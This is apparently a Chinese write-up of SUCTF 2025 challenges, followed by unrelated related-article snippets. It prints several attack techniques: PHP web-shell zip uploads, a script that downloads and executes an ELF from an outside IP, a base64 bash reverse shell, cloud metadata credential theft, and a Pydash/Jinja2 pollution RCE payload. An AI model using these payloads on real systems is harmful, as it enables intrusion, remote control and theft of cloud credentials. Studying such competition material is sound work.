suctf2025
Suctf2025
--2标识为看的wp,没环境复现了
所有参考资料将在文本末尾标明
WEB
SU_photogallery
思路👇
构造一个压缩包,解压出我们想解压的部分,然后其他部分是损坏的,这样是不是就可以让整个解压过程是出错的从而进入到if里,我们的shell就这样留下了
先是php版本的漏洞
再根据源码漏洞上码
三种写码方法如下👇
法一
<?php
$zip = new ZipArchive();
$zipFilePath = 'exp.zip';
if ($zip->open($zipFilePath, ZipArchive::CREATE | ZipArchive::OVERWRITE) === TRUE) {
$zip->addFile('1.php', "..\./..\./a.jpg");
$zip->close();
echo "ok";
}
?>
配上
GET /upload/suimages/a.jpg?1=cat%20/seef1ag_getfl4g HTTP/1.1 Host: 1.95.157.235:10002 Connection: close GET /upload/suimages/a.php?1=cat%20/seef1ag_getfl4g HTTP/1.1
法二
import zipfile
import io
mf = io.BytesIO()
with zipfile.ZipFile(mf, mode="w", compression=zipfile.ZIP_STORED) as zf:zf.writestr('fff.php', b'''@<?php $a = "sy"."s"."tem"; $a("ls / ");?>''')zf.writestr('A'*5000, b'AAAAA')
with open("shell.zip", "wb") as f:f.write(mf.getvalue())
法三
手动改压缩包,塞入第二个文件的第二个名字换成/
部分原因复现可能失败,我用火狐浏览器复现失败,换的Google成功
easyk8s
读取文件
# 打开文件并读取内容
with open('/app/audit.py', 'r') as file:content = file.read()print(content)
读取目录
import os # 获取根目录(Unix/Linux/MacOS的根目录,Windows上会是C盘或其他驱动器) root_dir = '/' # 列出根目录下的文件和文件夹 files_and_dirs = os.listdir(root_dir) # 打印所有文件和文件夹 for item in files_and_dirs:print(item)
查找与其他网络关系
那就探测内网信息,读取下系统内的配置文件信息看是否能发现有用的信息,包含:/etc/hosts、/proc/net/arp、proc/net/fib_trie等,最终在proc/net/fib_trie发现一个
码也写不进去,shell出不来
import os
import requests
# 远程文件URL
url = 'http://123.56.226.71/mshell.elf'
# 目标保存的文件名
file_name = '/tmp/mshell.elf'
# 下载文件
response = requests.get(url)
with open(file_name, 'wb') as f:f.write(response.content)
# 赋予执行权限
os.chmod(file_name, 0o755)
# 执行下载的文件
import ctypes
# 调用 C 的 system 函数
ctypes.CDLL("libc.so.6").system("sh /tmp/mshell.elf")
os.system(f'./{file_name}')
''.__class__.__mro__ [1].__subclasses__()[157].__init__.__globals__['sys'].modules['os'] ''.__class__.__mro__ [1].__subclasses__()[157].__init__.__globals__['__builtins__']['eval']
--2
弹shell
import os
import _posixsubprocess
_posixsubprocess.fork_exec([b"","-c","{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xNTYuMjM4LjIzMy4xMC8xMTQ1MiAwPiYx}|{base64,-d}|{bash,-i}"], [b"/bin/bash"], True, (), None, None, -1, -1, -1, -1, -1, -1, *(os.pipe()), False, False,False, None, None, None, -1, None, False)
DEBUG=True # open debug
import os,sys
op = print
def print(*args):t = sys._getframe(1).f_locals['audit_functions']t["os.system"]['ban']= Falseop(t)return op(*args)
os.system("ls") ## RCE
后边操作看不懂了,是nfs的
easyk8s-easy
--2
访问元数据
import requests
print(requests.get("http://100.100.100.200/latest/meta-data/ram/security-credentials/").text)
print(requests.get("http://100.100.100.200/latest/meta-data/ram/security-credentials/oss-root").text)
访问oss,以下命令在攻击者机器上执行
aliyun configure --mode=StsToken # 配置 上面得到的 aksk aliyun oss ls # get oss://suctf-flag-bucket aliyun oss ls oss://suctf-flag-bucket --all-versions # 开了 bucket 版本控制 flag 被删除了 还原 可以得到 flag aliyun oss cat oss://suctf-flag-bucket/oss-flag --version-id CAEQmwIYgYDA6Lad1qIZIiAyMjBhNWVmMDRjYzY0MDI3YjhiODU3ZDQ2MDc1MjZhOA--
SU_blog
有文件包含,没使用权限,不是php,放弃

有cve,bootstrap的CVE-2024-6531,没找到poc

有提示
© 2025 My Blog. All rights reserved. 我最喜欢时间戳了,而且听说md5这种单项签名非常安全,所以我把博客诞生的时间当做了自己的SECRET
应该是身份伪造
--复现
先按照提示伪造身份


显示文件包含读取源码+waf,
读取waf用../间隔开用来
?file=articles/....//....//app/wa../f.py
然后pydash原型链污染
污染点
app.py的set_(user_data, key, value)
Pydash 原型链污染
jinja2模板
{"name":"__init__.__globals__.__loader__.__init__.__globals__.sys.modules.jinja2.runtime.exported.0","value":"*;import os;os.system('id')"}
根据waf修改完之后
{"key": ".__init__.__globals__.t.NamedTuple.__globals__.sys.modules.jinja2.runtime.exported[2]","value": "*;import os;os.system('/read* >/tmp/gaoren.txt')"}


jBOSS
CVE-2017-12149检测
-
/invoker/readonly
CVE-2017-7504检测
-
/jbossmq-httpil/HTTPServerILServlet
密码
SU_signin
p = 0x1a0111ea397fe69a4b1ba7b6434bacd764774b84f38512bf6730d2a0f6b0f6241eabfffeb153ffffb9feffffffffaaab
K = GF(p)
E = EllipticCurve(K, (0, 4))
o = 793479390729215512516507951283169066088130679960393952059283337873017453583023682367384822284289
n1, n2 = 859267, 52437899
flag = '0'
from tqdm import *
exec(open('data.txt').read())
for i in trange(1, len(cs)):try:roots = discrete_log((o//n1)*n2*E(cs[0]), (o//n1)*n2*E(cs[i]), operation='+')flag += '0'except:flag += '1'continue
from Crypto.Util.number import *
print(long_to_bytes(int(flag, 2)))
MISC
SU_forensics
Ubuntu14.04密码恢复
-
进入界面长按shift
-
高级选项
-
revovery mode
-
ro后边的改成quiet splash rw init=/bin/bash
-
倒数第四行,会看到一行Linux /boot/vmlnuz-4.2.0-27-generic .......ro recovery nomodeset,
-
quiet splash rw init=/bin/bash
-
-
f10启动
-
passwd修改密码
-
然后passwd bkfish修改bkfish密码
-
-
最后visudo里加上去
-
bkfish ALL=(ALL:ALL) ALL
-
这里面有个加密压缩包文件👇
https://github.com/testtttsu/homework/blob/a4be9c81ae540340f3e208dc9b1ee109ea50305c/lost_flag.txt
参考
https://blog.csdn.net/lcczzu/article/details/100148616
进程查看
lsof | grep deleted #被删除却仍在使用
恢复文件
.bash_history
-
每当你在终端中执行一个命令时,
bash会将该命令记录到.bash_history文件中 -
位于用户的 主目录 中,如
/home/username/.bash_history
用diskgenius
内容
echo "My secret has disappeared from this space and time, and you will never be able to find it." curl -s -o /dev/null https://www.cnblogs.com/cuisha12138/p/18631364 sudo reboot
去搜索网站是一张图片,里面有加黑的key,需要调图片拿key
-
2phxMo8iUE2bAVvdsBwZ
根据图片的网站进去有个脚本+压缩包文件源码
图片一堆奇怪文字,真成misc了,不做了
法一

法二
strings开搜sudo reboot
strings xxx。vmdk |grep -n -A 20 -B 20 "sudo reboot"
找到bash_history
法三
sudo grep -a -B 50 -A 50 'sudo reboot' /dev/sda1 | tr -cd '\11\12\15\40-\176' > result.txt
虽然看起来我们的命令记录完全消失了,实际上如果运气比较好,对应的内容没有被覆盖,磁盘里可能还保留了.bash_history的文件内容,首先用df -h查看一下磁盘分区
命令的意思大概是用 grep 从 /dev/sda1 中查找包含 sudo reboot 的行,并显示其上下 50 行的内容,然后通过 tr 过滤掉除 ASCII 可打印字符、空白符和换行符/回车符以外的所有字符,清理输出内容。最后,将处理后的内容保存到 result.txt 文件中。
法四

real_checkin
🐍☂️🐈🌮🍟分别对应以下:
snake
umbrellla
cat
taco
fries
取第一个字符得到suctf,依次类推得到:
suctf{welcome_to_suctf_you_can_really_dance}
SU_ad
https://jk64eb0pjs.feishu.cn/docx/O6OUd1iSro8XcpxlpDAc0si5n5e
https://kcno7cq8euks.feishu.cn/wiki/PKx0w2LrtiVo99k3tEDc0xBnnre
checkin
直接搜flag追踪

PBEWithMD5AndDES,密码长度为 23 位
爆破脚本
from Crypto.Util.number import *
from Crypto.Cipher import DES
from hashlib import md5
from base64 import b64decode
from tqdm import tqdm
from itertools import product
password = b"SePassWordLen23SUCTF"
OUTPUT = b"ElV+bGCnJYHVR8m23GLhprTGY0gHi/tNXBkGBtQusB/zs0uIHHoXMJoYd6oSOoKuFWmAHYrxkbg="
alphabet = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/{}_-"
enc = b64decode(OUTPUT)
salt = enc[:8]
enc = enc[8:]
s = product(alphabet, repeat=3)
for a, b, c in tqdm(s):key = password + (a+b+c).encode() + saltfor i in range(1000):key = md5(key).digest()cipher = DES.new(key[:8], DES.MODE_CBC, iv = key[8:])dec = cipher.decrypt(enc)if b'SUCTF{' in dec or b'suctf{' in dec:print(dec)print(a+b+c)exit()
参考
https://mp.weixin.qq.com/s/WAtpKN7lMzzr0pGUX07juA
https://mp.weixin.qq.com/s/sLE42aWH1FyYUiC3H9TwiA
https://jk64eb0pjs.feishu.cn/docx/O6OUd1iSro8XcpxlpDAc0si5n5e
https://blog.s1um4i.com/2025-SUCTF/#su_pwn
https://blog.0xfff.team/posts/suctf_2025_writeup/#su_photogallery
https://github.com/team-su/SUCTF-2025/tree/main/web/SU_photogallery/writeup
相关文章:
suctf2025
Suctf2025 --2标识为看的wp,没环境复现了 所有参考资料将在文本末尾标明 WEB SU_photogallery 思路👇 构造一个压缩包,解压出我们想解压的部分,然后其他部分是损坏的,这样是不是就可以让整个解压过程是出错的从而…...
Quinlan C4.5剪枝U(0,6)U(1,16)等置信上限如何计算?
之前看到Quinlan中关于C4.5决策树算法剪枝环节中,关于错误率e置信区间估计,为啥 当E=0时,U(0,1)=0.75,U(0,6)=0.206,U(0,9)=0.143? 而当E不为0时,比如U(1,16)=0.157,如图: 关于C4.5决策树,Quinlan写了一本书,如下: J. Ross Quinlan (Auth.) - C4.5. Programs f…...
计算机组成原理--笔记二
目录 一.计算机系统的工作原理 二.计算机的性能指标 1.存储器的性能指标 2.CPU的性能指标 3.系统整体的性能指标(静态) 4.系统整体的性能指标(动态) 三.进制计算 1.任意进制 > 十进制 2.二进制 <> 八、十六进制…...
麒麟系统中删除权限不够的文件方法
在麒麟系统中删除权限不够的文件,可以尝试以下几种方法: 通过修改文件权限删除 打开终端:点击左下角的“终端”图标,或者通过搜索功能找到并打开终端 。定位文件:使用cd命令切换到文件所在的目录 。修改文件权限&…...
自定义提示确认弹窗-vue
最初可运行代码 弹窗组件代码: (后来发现以下代码可运行,但打包 typescript 类型检查出错,可打包的代码在文末) <template><div v-if"isVisible" class"dialog"><div class&quo…...
运行fastGPT 第五步 配置FastGPT和上传知识库 打造AI客服
运行fastGPT 第五步 配置FastGPT和上传知识库 打造AI客服 根据上一步的步骤,已经调试了ONE API的接口,下面,我们就登陆fastGPT吧 http://xxx.xxx.xxx.xxx:3000/ 这个就是你的fastGPT后台地址,可以在configer文件中找到。 账号是…...
CSS 合法颜色值
CSS 颜色 CSS 中的颜色可以通过以下方法指定: 十六进制颜色带透明度的十六进制颜色RGB 颜色RGBA 颜色HSL 颜色HSLA 颜色预定义/跨浏览器的颜色名称使用 currentcolor 关键字 十六进制颜色 用 #RRGGBB 规定十六进制颜色,其中 RR(红色&…...
Redis - General - 未授权访问漏洞(用户配置问题)
0x01:产品简介 Redis(Remote Dictionary Service,远程数据服务),是一款开源的基于内存的键值对存储系统,其主要被用作高性能缓存服务器使用(比如作为消息中间件和用于 Session 共享)…...
解决 WSL 2 中 Ubuntu 22.04 安装 Docker 后无法启动的问题
问题场景 安装Docker后,执行sudo service docker start启动Docker,提示启动成功 rootDev:~# sudo service docker start * Starting Docker: docker [ OK ]执行su…...
Conda的一些常用命令
以下是Conda的一些常用命令: pip freeze > requirements.txt pip install -r requirements.txt 基本信息查看类 查看conda版本: conda -V 或 conda --version 可以查看当前安装的conda版本。 查看conda帮助信息: conda -h 或 conda --he…...
AI 大爆发时代,音视频未来路在何方?
AI 大模型突然大火了 回顾2024年,计算机领域最大的变革应该就是大模型进一步火爆了。回顾下大模型的发展历程: 萌芽期:(1950-2005) 1956年:计算机专家约翰麦卡锡首次提出“人工智能”概念,标志…...
Invicti-Professional-V25.1
01 更新介绍 此更新包括对内部代理的更改。内部扫描代理的当前版本为 25.1.0。内部身份验证验证程序代理的当前版本为 25.1.0。#新功能现在,单击扫描摘要屏幕中的预设扫描图标会将您重定向到具有过滤视图的 “最近扫描” 页面,从而改进导航和对相关扫描…...
【版图设计】2025年 最新 Cadence Virtuoso IC617 虚拟机环境配置全过程 集成电路版图设计环境配置
一、Cadence Virtuoso IC617 是什么? Cadence Virtuoso 是一个电子设计自动化(EDA)工具,主要用于集成电路(IC)的设计和仿真,尤其是在模拟、混合信号和射频(RF)电路设计领…...
Python基本概念与实践
Python语言,总给我一种“嗯?还能这么玩儿?”的感觉 Python像一个二三十岁的年轻人,自由、年轻、又灵活 欢迎一起进入Python的世界~ 本人工作中经常使用Python,针对一些常用的语法概念进行持续记录。 目录 一、类与常…...
# [Unity] 【游戏开发】获取物体和组件的脚本方法
在Unity开发中,获取游戏物体(GameObject)及其组件(Component)是脚本编程的核心技能。本文将详细介绍如何在脚本中访问游戏物体及其组件,深入讲解常用的获取方法及优化策略,以帮助开发者高效编写Unity脚本。 1. 理解游戏物体与组件的关系 游戏物体(GameObject):Unity场…...
10 为什么系统需要引入分布式、微服务架构
java技术的发展 在java开始流行起来之后,主要服务于企业家应用,例如ERP,CRM等等,这些项目是为企业内部员工使用,我们的思维是怎么用设计模式,如何封装代码。让开发人员关注到业务上去,系统也就那么几十几百…...
大数据系列之:上传图片到cos、cos
大数据系列之:上传图片到cos、cos 安装python cos sdk上传图片到cos高级上传接口分页列举桶内对象cos桶之间复制cos桶之间复制图片数据 安装python cos sdk pip install -U cos-python-sdk-v5上传图片到cos # -*- codingutf-8 from qcloud_cos import CosConfig fr…...
wsl 使用 docker
直接在 wsl 安装 docker , 有可能会失败,可以通过在 windows 安装 Docker Desktop,然后连接 wsl 进行解决 注意: 1. 需要先安装 wsl 2. 使用时要先启动 docker Desktop, 才能在 wsl 中使用 下载: Docker: Accelerated Containe…...
归并延拓:LeetCode归并排序逆序对问题
前言 欢迎来到我的算法探索博客,在这里,我将通过解析精选的LeetCode题目,与您分享深刻的解题思路、多元化的解决方案以及宝贵的实战经验,旨在帮助每一位读者提升编程技能,领略算法之美。 👉更多高频有趣Lee…...
51.WPF应用加图标指南 C#例子 WPF例子
完整步骤: 先使用文心一言生成一个图标如左边使用Windows图片编辑器编辑,去除背景使用正方形,放大图片使图标铺满图片使用格式工程转换为ico格式,分辨率为最大 在资源管理器中右键项目添加ico类型图片到项目里图片属性设置为始终…...
[2025CVPR]DeepVideo-R1:基于难度感知回归GRPO的视频强化微调框架详解
突破视频大语言模型推理瓶颈,在多个视频基准上实现SOTA性能 一、核心问题与创新亮点 1.1 GRPO在视频任务中的两大挑战 安全措施依赖问题 GRPO使用min和clip函数限制策略更新幅度,导致: 梯度抑制:当新旧策略差异过大时梯度消失收敛困难:策略无法充分优化# 传统GRPO的梯…...
模型参数、模型存储精度、参数与显存
模型参数量衡量单位 M:百万(Million) B:十亿(Billion) 1 B 1000 M 1B 1000M 1B1000M 参数存储精度 模型参数是固定的,但是一个参数所表示多少字节不一定,需要看这个参数以什么…...
无法与IP建立连接,未能下载VSCode服务器
如题,在远程连接服务器的时候突然遇到了这个提示。 查阅了一圈,发现是VSCode版本自动更新惹的祸!!! 在VSCode的帮助->关于这里发现前几天VSCode自动更新了,我的版本号变成了1.100.3 才导致了远程连接出…...
CMake基础:构建流程详解
目录 1.CMake构建过程的基本流程 2.CMake构建的具体步骤 2.1.创建构建目录 2.2.使用 CMake 生成构建文件 2.3.编译和构建 2.4.清理构建文件 2.5.重新配置和构建 3.跨平台构建示例 4.工具链与交叉编译 5.CMake构建后的项目结构解析 5.1.CMake构建后的目录结构 5.2.构…...
visual studio 2022更改主题为深色
visual studio 2022更改主题为深色 点击visual studio 上方的 工具-> 选项 在选项窗口中,选择 环境 -> 常规 ,将其中的颜色主题改成深色 点击确定,更改完成...
C# 类和继承(抽象类)
抽象类 抽象类是指设计为被继承的类。抽象类只能被用作其他类的基类。 不能创建抽象类的实例。抽象类使用abstract修饰符声明。 抽象类可以包含抽象成员或普通的非抽象成员。抽象类的成员可以是抽象成员和普通带 实现的成员的任意组合。抽象类自己可以派生自另一个抽象类。例…...
土地利用/土地覆盖遥感解译与基于CLUE模型未来变化情景预测;从基础到高级,涵盖ArcGIS数据处理、ENVI遥感解译与CLUE模型情景模拟等
🔍 土地利用/土地覆盖数据是生态、环境和气象等诸多领域模型的关键输入参数。通过遥感影像解译技术,可以精准获取历史或当前任何一个区域的土地利用/土地覆盖情况。这些数据不仅能够用于评估区域生态环境的变化趋势,还能有效评价重大生态工程…...
在鸿蒙HarmonyOS 5中使用DevEco Studio实现录音机应用
1. 项目配置与权限设置 1.1 配置module.json5 {"module": {"requestPermissions": [{"name": "ohos.permission.MICROPHONE","reason": "录音需要麦克风权限"},{"name": "ohos.permission.WRITE…...
ios苹果系统,js 滑动屏幕、锚定无效
现象:window.addEventListener监听touch无效,划不动屏幕,但是代码逻辑都有执行到。 scrollIntoView也无效。 原因:这是因为 iOS 的触摸事件处理机制和 touch-action: none 的设置有关。ios有太多得交互动作,从而会影响…...
GC1808高性能24位立体声音频ADC芯片解析
1. 芯片概述 GC1808是一款24位立体声音频模数转换器(ADC),支持8kHz~96kHz采样率,集成Δ-Σ调制器、数字抗混叠滤波器和高通滤波器,适用于高保真音频采集场景。 2. 核心特性 高精度:24位分辨率,…...
